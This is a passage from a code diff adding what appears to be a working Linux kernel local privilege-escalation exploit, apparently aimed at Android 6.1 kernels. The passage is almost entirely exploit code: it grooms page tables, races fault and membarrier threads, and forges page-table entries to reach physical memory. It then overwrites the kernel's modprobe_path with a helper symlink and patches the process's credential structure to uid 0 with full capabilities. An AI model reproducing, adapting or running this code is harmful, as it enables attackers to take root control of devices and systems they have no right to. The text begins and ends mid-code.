(unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_settime(race_timers[timer], TIMER_ABSTIME, + &interval, NULL) != 0) + _exit(2); + } + } + for (;;) { + char *p; + unsigned int fault_loops = 0; + int state; + + do { + state = atomic_load_explicit(&run_state, memory_order_acquire); + if (state == 0) + sched_yield(); + } while (state == 0); + if (state == 2) + break; + + atomic_fetch_add_explicit(&active_workers, 1, memory_order_acq_rel); + if (atomic_load_explicit(&run_state, memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + continue; + } + p = atomic_load_explicit(&fault_addrs[worker % RACE_SOURCE_VIEWS], + memory_order_acquire); + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit(&run_state, + memory_order_acquire) == 1 && + atomic_load_explicit(&fault_release, + memory_order_acquire) == 0) + sched_yield(); + if (atomic_load_explicit(&run_state, + memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, + memory_order_acq_rel); + continue; + } + } + atomic_fetch_add_explicit(&fault_started, 1, + memory_order_acq_rel); + while (atomic_load_explicit(&run_state, memory_order_relaxed) == 1 && + fault_loops < RACE_FAULT_LOOPS) { + ssize_t n; + + atomic_fetch_add_explicit(&fault_callers, 1, memory_order_acq_rel); + n = pwrite(sink_fd, p, 1, 0); + atomic_fetch_sub_explicit(&fault_callers, 1, memory_order_acq_rel); + (void)madvise(p, SOURCE_SIZE, MADV_DONTNEED); + (void)n; + fault_loops++; + } + while (atomic_load_explicit(&run_state, + memory_order_acquire) == 1) + sched_yield(); + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + } + if (RACE_TIMER_NS > 0) { + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) + (void)timer_delete(race_timers[timer]); + } + return NULL; +} + +static void *membarrier_worker(void *arg) +{ + (void)arg; + if (RACE_PIN_WORKERS) { + cpu_set_t set; + long cpus = sysconf(_SC_NPROCESSORS_ONLN); + unsigned int cpu = cpus > 1 ? (unsigned int)(cpus - 1) : 0U; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) + _exit(2); + } + for (;;) { + int state = atomic_load_explicit(&run_state, memory_order_acquire); + + if (state == 2) + break; + if (state != 1) { + sched_yield(); + continue; + } + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); + atomic_fetch_add_explicit(&membarrier_calls, 1, + memory_order_relaxed); + } + return NULL; +} + +static void collapse_retry_pause(void) +{ + struct timespec delay = { + .tv_sec = RACE_COLLAPSE_RETRY_NS / 1000000000UL, + .tv_nsec = RACE_COLLAPSE_RETRY_NS % 1000000000UL, + }; + + while (nanosleep(&delay, &delay) != 0 && errno == EINTR) + ; +} + +static int prepare_large_shmem_folio(int fd) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + int rc; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return -1; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return -1; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + rc = -1; + for (unsigned int attempt = 0; + attempt < RACE_COLLAPSE_ATTEMPTS; attempt++) { + errno = 0; + rc = madvise(mapping, PMD_SIZE, MADV_COLLAPSE); + if (rc == 0 || (errno != EAGAIN && errno != EBUSY)) + break; + collapse_retry_pause(); + } + if (rc != 0) + fprintf(stderr, "MADV_COLLAPSE attempts=%u errno=%d (%s)\n", + RACE_COLLAPSE_ATTEMPTS, errno, strerror(errno)); + munmap(reservation, 2 * PMD_SIZE); + return rc; +} + +static unsigned char *prepare_order0_shmem_folio(int fd, + void **reservation_out) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return MAP_FAILED; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + if (madvise(mapping, PMD_SIZE, MADV_NOHUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + if (madvise(mapping, PMD_SIZE, MADV_HUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + *reservation_out = reservation; + return mapping; +} + +static void fill_fake_ptes(uint64_t *alias, uint64_t base_pfn, uint64_t stride) +{ + unsigned long i; + unsigned long entries = FAKE_PT_PAGES * (PAGE_SIZE / sizeof(uint64_t)); + + for (i = 0; i < entries; i++) + alias[i] = ((base_pfn + i * stride) << 12) | USER_PTE_FLAGS; + atomic_thread_fence(memory_order_seq_cst); +} + +static int remap_physical_window(uint64_t *alias, uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + fill_fake_ptes(alias, base_pfn, 1); + if (mprotect((void *)fake_base, mapped_bytes, PROT_READ) != 0 || + mprotect((void *)fake_base, mapped_bytes, + PROT_READ | PROT_WRITE) != 0) + return -1; + return 0; +} + +static int prepare_modprobe_helper(void) +{ + char target[64]; + struct stat st; + + if (snprintf(target, sizeof(target), "/proc/%ld/exe", + (long)getpid()) >= (int)sizeof(target)) + return -1; + for (unsigned int attempt = 0; attempt < 256; attempt++) { + unsigned int suffix = ((unsigned int)getpid() + attempt) & 0xffU; + + if (snprintf(modprobe_helper_path, + sizeof(modprobe_helper_path), "/tmp/x%02x", + suffix) >= (int)sizeof(modprobe_helper_path) || + snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + modprobe_helper_path) >= + (int)sizeof(modprobe_marker_path)) + return -1; + if (lstat(modprobe_helper_path, &st) == 0 || errno != ENOENT) + continue; + if (lstat(modprobe_marker_path, &st) == 0 || errno != ENOENT) + continue; + if (symlink(target, modprobe_helper_path) == 0) { + printf("MODPROBE_HELPER_PREPARED path=%s target=%s marker=%s\n", + modprobe_helper_path, target, + modprobe_marker_path); + fflush(stdout); + return 0; + } + } + modprobe_helper_path[0] = '\0'; + modprobe_marker_path[0] = '\0'; + return -1; +} + +static void cleanup_modprobe_helper(void) +{ + if (modprobe_helper_path[0] == '\0') + return; + if (unlink(modprobe_helper_path) == 0) + printf("MODPROBE_HELPER_CLEANUP path=%s removed=1\n", + modprobe_helper_path); + else + printf("MODPROBE_HELPER_CLEANUP path=%s removed=0 errno=%d\n", + modprobe_helper_path, errno); + fflush(stdout); + modprobe_helper_path[0] = '\0'; +} + +static int create_root_marker(void) +{ + static const char payload[] = POST_ROOT_TEXT; + int fd = open(modprobe_marker_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, + 0400); + + if (fd < 0) + return -1; + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + return close(fd); +} + +static int root_marker_exists(void) +{ + struct stat st = { 0 }; + + return lstat(modprobe_marker_path, &st) == 0 && + st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400; +} + +static int trigger_modprobe(void) +{ + static const unsigned char unknown_format[] = { 0xff, 0xff, 0xff, 0xff }; + pid_t child; + int fd; + int status = 0; + + fd = open(MODPROBE_TRIGGER_PATH, + O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC | O_NOFOLLOW, 0700); + if (fd < 0) + return -1; + if (fchmod(fd, 0700) != 0 || + write(fd, unknown_format, sizeof(unknown_format)) != + (ssize_t)sizeof(unknown_format) || + close(fd) != 0) + return -1; + + child = fork(); + if (child == 0) { + execl(MODPROBE_TRIGGER_PATH, MODPROBE_TRIGGER_PATH, NULL); + _exit(errno == ENOEXEC ? 0 : 126); + } + if (child < 0 || waitpid(child, &status, 0) < 0) + return -1; + (void)unlink(MODPROBE_TRIGGER_PATH); + if (!root_marker_exists()) + return -1; + printf("MODPROBE_ROOT_MARKER uid=0 gid=0 mode=0400 child_status=%d\n", + WIFEXITED(status) ? WEXITSTATUS(status) : -1); + fflush(stdout); + return 0; +} + +static int patch_modprobe_path(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + static const unsigned char original[] = MODPROBE_PATH_ORIGINAL; + unsigned char replacement[sizeof(original)] = { 0 }; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + unsigned long candidates = 0; + + if (modprobe_helper_path[0] == '\0') + return -1; + memcpy(replacement, modprobe_helper_path, + strlen(modprobe_helper_path)); + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long offset = 0; + offset + sizeof(original) <= PAGE_SIZE; + offset++) { + unsigned char saved[sizeof(original)]; + volatile unsigned char *candidate = page_base + offset; + + if (memcmp((const void *)candidate, original, + sizeof(original)) != 0) + continue; + candidates++; + for (unsigned long i = 0; i < sizeof(saved); i++) { + saved[i] = candidate[i]; + candidate[i] = replacement[i]; + } + atomic_thread_fence(memory_order_seq_cst); + printf("MODPROBE_PATH_CANDIDATE pfn=%#lx page_offset=%#lx candidate=%lu\n", + base_pfn + page, offset, candidates); + fflush(stdout); + { + int trigger_rc = trigger_modprobe(); + + for (unsigned long i = 0; i < sizeof(saved); i++) + candidate[i] = saved[i]; + atomic_thread_fence(memory_order_seq_cst); + if (trigger_rc == 0) { + printf("MODPROBE_PATH_PATCH selected=1 restored=1 pfn=%#lx page_offset=%#lx replacement=%s\n", + base_pfn + page, offset, + modprobe_helper_path); + fflush(stdout); + return 0; + } + } + } + } + printf("MODPROBE_PATH_SCAN base_pfn=%#lx bytes=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, candidates); + fflush(stdout); + return -1; +} + + +static void *reserve_layout(uintptr_t *root_out) +{ + static const uintptr_t roots[] = { + 0x400000000000ULL, 0x3f8000000000ULL, + 0x300000000000ULL, 0x200000000000ULL + }; + unsigned int i; + + for (i = 0; i < sizeof(roots) / sizeof(roots[0]); i++) { + void *p = mmap((void *)roots[i], + LAYOUT_CANDIDATES * PUD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, + -1, 0); + if (p != MAP_FAILED) { + *root_out = roots[i]; + return p; + } + } + return MAP_FAILED; +} + +static int touch_file_byte(const char *p) +{ + char byte; + return pread(sink_fd, &byte, 1, 0) == 1 && pwrite(sink_fd, p, 1, 0) == 1 ? 0 : -1; +} + + + +static int patch_current_credentials(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + enum { + CRED_USAGE_OFFSET = 0, + CRED_IDS_OFFSET = 4, + CRED_SECUREBITS_OFFSET = 36, + CRED_CAP_INHERITABLE_OFFSET = 40, + CRED_CAP_PERMITTED_OFFSET = 48, + CRED_CAP_EFFECTIVE_OFFSET = 56, + CRED_CAP_BSET_OFFSET = 64, + CRED_CAP_AMBIENT_OFFSET = 72, + CRED_SECURITY_OFFSET = 120, + CRED_SIZE = 176, + }; + const uint32_t expected_ids[8] = { + target_ruid, target_rgid, target_suid, target_sgid, + target_euid, target_egid, target_fsuid, target_fsgid, + }; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + unsigned long candidates = 0; + unsigned long id_matches = 0; + + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long offset = 0; + offset + CRED_SIZE <= PAGE_SIZE; offset += sizeof(uint64_t)) { + volatile unsigned char *cred = page_base + offset; + uint32_t saved_ids[8]; + uint32_t saved_securebits; + uint64_t saved_permitted, saved_effective; + uint64_t security; + uint32_t usage; + unsigned int id; + + for (id = 0; id < 8; id++) { + if (*(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)) != expected_ids[id]) + break; + } + if (id != 8) + continue; + id_matches++; + usage = *(volatile uint32_t *)(cred + CRED_USAGE_OFFSET); + security = *(volatile uint64_t *)(cred + + CRED_SECURITY_OFFSET); + if (usage == 0 || usage > 0x100000 || + *(volatile uint64_t *) + (cred + CRED_CAP_INHERITABLE_OFFSET) != 0 || + *(volatile uint64_t *) + (cred + CRED_CAP_PERMITTED_OFFSET) != 0 || + *(volatile uint64_t *) + (cred + CRED_CAP_EFFECTIVE_OFFSET) != 0 || + *(volatile uint64_t *) + (cred + CRED_CAP_AMBIENT_OFFSET) != 0 || + (security >> 48) != 0xffff) + continue; + + candidates++; + printf("CRED_CANDIDATE layout=android-6.1-btf pfn=%#lx page_offset=%#lx usage=%u bset=%#llx ambient=%#llx security=%#llx\n", + base_pfn + page, offset, usage, + (unsigned long long)*(volatile uint64_t *) + (cred + CRED_CAP_BSET_OFFSET), + (unsigned long long)*(volatile uint64_t *) + (cred + CRED_CAP_AMBIENT_OFFSET), + (unsigned long long)security); + for (id = 0; id < 8; id++) + saved_ids[id] = *(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)); + saved_securebits = *(volatile uint32_t *) + (cred + CRED_SECUREBITS_OFFSET); + saved_permitted = *(volatile uint64_t *) + (cred + CRED_CAP_PERMITTED_OFFSET); + saved_effective = *(volatile uint64_t *) + (cred + CRED_CAP_EFFECTIVE_OFFSET); + for (id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)) = 0; + *(volatile uint32_t *)(cred + CRED_SECUREBITS_OFFSET) = 0; + *(volatile uint64_t *)(cred + CRED_CAP_PERMITTED_OFFSET) = + CAP_VALID_MASK_7_1; + *(volatile uint64_t *)(cred + CRED_CAP_EFFECTIVE_OFFSET) = + CAP_VALID_MASK_7_1; + atomic_thread_fence(memory_order_seq_cst); + + if (getuid() == 0 && geteuid() == 0) { + printf("CRED_SCAN layout=android-6.1-btf base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=1\n", + base_pfn, mapped_bytes, id_matches, + candidates); + printf("CRED_PATCH layout=android-6.1-btf pfn=%#lx page_offset=%#lx permitted=%#llx effective=%#llx\n", + base_pfn + page, offset, + (unsigned long long)CAP_VALID_MASK_7_1, + (unsigned long long)CAP_VALID_MASK_7_1); + fflush(stdout); + return 0; + } + + for (id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + CRED_IDS_OFFSET + + id * sizeof(uint32_t)) = saved_ids[id]; + *(volatile uint32_t *)(cred + CRED_SECUREBITS_OFFSET) = + saved_securebits; + *(volatile uint64_t *)(cred + CRED_CAP_PERMITTED_OFFSET) = + saved_permitted; + *(volatile uint64_t *)(cred + CRED_CAP_EFFECTIVE_OFFSET) = + saved_effective; + atomic_thread_fence(memory_order_seq_cst); + } + } + + printf("CRED_SCAN layout=android-6.1-btf base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, id_matches, candidates); + fflush(stdout); + return -1; +} + +static int read_proc_fs_ids(uid_t *fsuid, gid_t *fsgid) +{ + char line[256]; + unsigned int real_id, effective_id, saved_id, filesystem_id; + int have_uid = 0; + int have_gid = 0; + FILE *status = fopen("/proc/self/status", "re"); + + if (status == NULL) + return -1; + while (fgets(line, sizeof(line), status) != NULL) { + if (!have_uid && + sscanf(line, "Uid:\t%u\t%u\t%u\t%u", + &real_id, &effective_id, &saved_id, + &filesystem_id) == 4) { + *fsuid = (uid_t)filesystem_id; + have_uid = 1; + } else if (!have_gid && + sscanf(line, "Gid:\t%u\t%u\t%u\t%u", + &real_id, &effective_id, &saved_id, + &filesystem_id) == 4) { + *fsgid = (gid_t)filesystem_id; + have_gid = 1; + } + if (have_uid && have_gid) + break; + } + fclose(status); + return have_uid && have_gid ? 0 : -1; +} + +static int prove_root_identity(void) +{ + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + uid_t ruid = (uid_t)-1, euid = (uid_t)-1, suid = (uid_t)-1; + gid_t rgid = (gid_t)-1, egid = (gid_t)-1, sgid = (gid_t)-1; + uid_t fsuid = (uid_t)-1; + gid_t fsgid = (gid_t)-1; + char proof[64] = { 0 }; + uint64_t effective; + int fd; + ssize_t n; + int cap_rc; + + int identity_rc; + + identity_rc = getresuid(&ruid, &euid, &suid) != 0 || + getresgid(&rgid, &egid, &sgid) != 0 || + read_proc_fs_ids(&fsuid, &fsgid) != 0; + cap_rc = (int)syscall(SYS_capget, &hdr, caps); + effective = ((uint64_t)caps[1].effective << 32) | caps[0].effective; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, proof, sizeof(proof) - 1) : -1; + if (fd >= 0) + close(fd); + printf("ROOT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u fsuid=%u fsgid=%u identity_rc=%d capget_rc=%d cap_effective=%#llx\n", + ruid, euid, suid, rgid, egid, sgid, fsuid, fsgid, + identity_rc, cap_rc, (unsigned long long)effective); + printf("ROOT_PROOF required=%d open=%d read=%ld data=%.*s\n", + root_proof_required, fd >= 0, (long)n, + n > 0 ? (int)n : 0, proof); + fflush(stdout); + return identity_rc == 0 && + ruid == 0 && euid == 0 && suid == 0 && + rgid == 0 && egid == 0 && sgid == 0 && + fsuid == 0 && fsgid == 0 && cap_rc == 0 && + (effective & ROOT_REQUIRED_CAPS) == ROOT_REQUIRED_CAPS && + (!root_proof_required || + (n == (ssize_t)strlen(ROOT_PROOF_TEXT) && + memcmp(proof, ROOT_PROOF_TEXT, strlen(ROOT_PROOF_TEXT)) == 0)) ? + 0 : -1; +} + +static int prove_post_root_create(void) +{ + static const char payload[] = POST_ROOT_TEXT; + char observed[64] = { 0 }; + struct stat st = { 0 }; + int fd; + ssize_t n; + + fd = open(post_root_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0400); + if (fd < 0) { + printf("POST_ROOT_CREATE path=%s created=0 errno=%d (%s)\n", + post_root_path, errno, strerror(errno)); + return -1; + } + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + if (close(fd) != 0) + return -1; + + fd = open(post_root_path, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, observed, sizeof(observed) - 1) : -1; + if (fd >= 0) + close(fd); + if (lstat(post_root_path, &st) != 0) + return -1; + printf("POST_ROOT_CREATE path=%s created=1 uid=%u gid=%u mode=%#o read=%ld data=%.*s\n", + post_root_path, st.st_uid, st.st_gid, st.st_mode & 07777, + (long)n, n > 0 ? (int)n : 0, observed); + fflush(stdout); + return st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400 && + n == (ssize_t)strlen(POST_ROOT_TEXT) && + memcmp(observed, POST_ROOT_TEXT, strlen(POST_ROOT_TEXT)) == 0 ? + 0 : -1; +} + +static int run_exploit(int rounds) +{ + pthread_t threads[FAULT_THREADS]; + pthread_t membarrier_threads[RACE_MEMBARRIER_WORKERS > 0 ? + RACE_MEMBARRIER_WORKERS : 1]; + uintptr_t root; + uintptr_t candidate_roots[LAYOUT_CANDIDATES]; + uintptr_t source_bases[LAYOUT_CANDIDATES]; + uintptr_t fake_bases[LAYOUT_CANDIDATES]; + void *layout; + char *dummies[LAYOUT_CANDIDATES]; + char *marker, *tlb_flush_pad; + cpu_set_t groom_saved_set; + int groom_cpu = -1; + int groom_fd = -1; + int i; + int success = 0; + int winning_fd = -1; + uint64_t *winning_alias = MAP_FAILED; + unsigned long mapped_bytes = 0; + uintptr_t winning_fake_base = 0; + unsigned long winning_pmds = 0; + char *winning_source = MAP_FAILED; + unsigned long mutation_failures = 0; + struct sigaction sa = { .sa_handler = fault_signal }; + + if (getresuid(&target_ruid, &target_euid, &target_suid) != 0 || + getresgid(&target_rgid, &target_egid, &target_sgid) != 0 || + read_proc_fs_ids(&target_fsuid, &target_fsgid) != 0) { + perror("capture identity"); + return 2; + } + if (target_ruid == 0 || target_euid == 0 || target_suid == 0 || + target_rgid == 0 || target_egid == 0 || target_sgid == 0 || + target_fsuid == 0 || target_fsgid == 0) { + fprintf(stderr, "EXPLOIT_REFUSED privileged initial identity\n"); + return 2; + } + (void)prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); + (void)prctl(PR_SET_DUMPABLE, 1, 0, 0, 0); + (void)prctl(PR_SET_NAME, "xarr-lpe-main", 0, 0, 0); + printf("EXPLOIT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u fsuid=%u fsgid=%u nnp=%d\n", + target_ruid, target_euid, target_suid, + target_rgid, target_egid, target_sgid, + target_fsuid, target_fsgid, + prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); + fflush(stdout); + { + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + int rc = (int)syscall(SYS_capget, &hdr, caps); + uint64_t effective = ((uint64_t)caps[1].effective << 32) | + caps[0].effective; + + printf("EXPLOIT_CAPS capget_rc=%d effective=%#llx\n", rc, + (unsigned long long)effective); + fflush(stdout); + } + { + int fd; + int saved_errno; + + errno = 0; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + saved_errno = errno; + root_proof_required = + getenv("XARR_REQUIRE_ROOT_PROOF") != NULL; + printf("PRE_ROOT_PROOF required=%d open=%d errno=%d (%s)\n", + root_proof_required, fd >= 0, saved_errno, + strerror(saved_errno)); + fflush(stdout); + if (fd >= 0) { + close(fd); + return 2; + } + } + + memset(&sa.sa_mask, 0, sizeof(sa.sa_mask)); + sa.sa_flags = SA_NODEFER; + sigaction(SIGSEGV, &sa, NULL); + sigaction(SIGBUS, &sa, NULL); + + sink_fd = (int)syscall(SYS_memfd_create, "xarray-sink", MFD_CLOEXEC); + groom_fd = (int)syscall(SYS_memfd_create, "xarray-groom", MFD_CLOEXEC); + if (sink_fd < 0 || groom_fd < 0 || ftruncate(sink_fd, PAGE_SIZE) != 0 || + ftruncate(groom_fd, PAGE_SIZE) != 0) { + perror("prepare grooming files"); + return 2; + } + if (pwrite(groom_fd, "G", 1, 0) != 1) { + perror("populate grooming file"); + return 2; + } + + marker = mmap(NULL, MARKER_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (marker == MAP_FAILED) { + perror("marker mmap"); + return 2; + } + (void)madvise(marker, MARKER_PAGES * PAGE_SIZE, MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < MARKER_PAGES; page++) { + unsigned char *p = (unsigned char *)marker + page * PAGE_SIZE; + memcpy(p, MARKER_MAGIC, sizeof(MARKER_MAGIC)); + memcpy(p + 32, &page, sizeof(page)); + p[128] = (unsigned char)(page ^ 0x5a); + } + printf("MARKER_SPRAY pages=%lu bytes=%lu\n", MARKER_PAGES, + MARKER_PAGES * PAGE_SIZE); + tlb_flush_pad = mmap(NULL, TLB_FLUSH_PAGES * PAGE_SIZE, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (tlb_flush_pad == MAP_FAILED) { + perror("tlb flush pad mmap"); + return 2; + } + (void)madvise(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < TLB_FLUSH_PAGES; page++) + tlb_flush_pad[page * PAGE_SIZE] = 0; + if ((RACE_MEMBARRIER_SHOTS > 0 || RACE_MEMBARRIER_WORKERS > 0) && + syscall(SYS_membarrier, + MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED, 0, 0) != 0) { + perror("register private expedited membarrier"); + return 2; + } + + if (RACE_PIN_WORKERS) { + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(0, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) { + perror("pin race coordinator"); + return 2; + } + } + layout = reserve_layout(&root); + if (layout == MAP_FAILED) { + perror("reserve fixed layout"); + return 2; + } + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + candidate_roots[candidate] = root + candidate * PUD_SIZE; + source_bases[candidate] = candidate_roots[candidate] + + (candidate == 0 ? SOURCE_ENTRY * PMD_SIZE : 0); + fake_bases[candidate] = candidate_roots[candidate] + + CORRUPT_FIRST_PMD * PMD_SIZE; + } + + /* + * Install every VMA before the allocation-sensitive page-table + * sequence. A candidate's PTE page may physically follow its PMD page; + * the next candidate's PMD allocation may physically follow that PTE + * page. Racing each adjacent pair provides repeated opportunities on + * guests that shuffle the page allocator while preserving the original + * two-candidate geometry by default. + */ + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + dummies[candidate] = mmap( + (void *)(source_bases[candidate] + PMD_SIZE - PAGE_SIZE), + PAGE_SIZE, PROT_READ, MAP_SHARED | MAP_FIXED, groom_fd, 0); + if (dummies[candidate] == MAP_FAILED || + mmap((void *)fake_bases[candidate], FAKE_WINDOW_SIZE, + PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, + -1, 0) == MAP_FAILED) { + perror("install fixed candidate VMAs"); + return 2; + } + } + + /* + * Keep every page-table fault on one allowed CPU so the order-0 + * allocations use one per-CPU page list. + */ + if (sched_getaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("read groom affinity"); + return 2; + } + groom_cpu = sched_getcpu(); + if (groom_cpu < 0 || !CPU_ISSET(groom_cpu, &groom_saved_set)) { + for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) { + if (CPU_ISSET(cpu, &groom_saved_set)) { + groom_cpu = cpu; + break; + } + } + } + if (groom_cpu < 0) { + fprintf(stderr, "no allowed groom CPU\n"); + return 2; + } + { + cpu_set_t groom_single_set; + + CPU_ZERO(&groom_single_set); + CPU_SET(groom_cpu, &groom_single_set); + if (sched_setaffinity(0, sizeof(groom_single_set), + &groom_single_set) != 0) { + perror("pin page-table groom"); + return 2; + } + } + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + if (touch_file_byte(dummies[candidate]) != 0) { + (void)sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set); + perror("fault candidate grooming mapping"); + return 2; + } + } + if (sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("restore groom affinity"); + return 2; + } + printf("PAGETABLE_GROOM root=%#lx cpu=%d candidates=%u first_source=%#lx first_fake=%#lx last_source=%#lx last_fake=%#lx\n", + (unsigned long)root, groom_cpu, + (unsigned int)LAYOUT_CANDIDATES, + (unsigned long)source_bases[0], + (unsigned long)fake_bases[0], + (unsigned long)source_bases[LAYOUT_CANDIDATES - 1], + (unsigned long)fake_bases[LAYOUT_CANDIDATES - 1]); + fflush(stdout); + + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + unsigned char resident = 0xff; + int pre_rc = mincore((void *)fake_bases[candidate], PAGE_SIZE, + &resident); + + printf("FAKE_WINDOW_PRECONDITION candidate=%u mincore_rc=%d resident=%u\n", + candidate, pre_rc, resident & 1); + if (pre_rc != 0 || (resident & 1) != 0) + return 2; + } + + atomic_store(&run_state, 0); + atomic_store(&active_workers, 0); + atomic_store(&fault_callers, 0); + atomic_store(&fault_started, 0); + atomic_store(&fault_release, 0); + for (i = 0; i < FAULT_THREADS; i++) { + if (pthread_create(&threads[i], NULL, fault_worker, + (void *)(uintptr_t)i) != 0) { + perror("pthread_create"); + return 2; + } + } + atomic_store(&membarrier_calls, 0); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) { + if (pthread_create(&membarrier_threads[i], NULL, + membarrier_worker, NULL) != 0) { + perror("pthread_create membarrier"); + return 2; + } + } + + for (i = 0; i < rounds; i++) { + int fd; + char *source; + char *sources[RACE_SOURCE_VIEWS]; + uint64_t *alias; + unsigned char *whole = MAP_FAILED; + void *whole_reservation = MAP_FAILED; + volatile unsigned int delay; + const unsigned int candidate = RACE_ROTATE_LAYOUT ? + (unsigned int)i % (LAYOUT_CANDIDATES - 1) : + RACE_LAYOUT_CANDIDATE; + const uintptr_t race_source_base = source_bases[candidate]; + int mutation_ready = 1; + + fd = (int)syscall(SYS_memfd_create, "xarray-race", + MFD_CLOEXEC); + if (fd < 0 || + ftruncate(fd, (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + 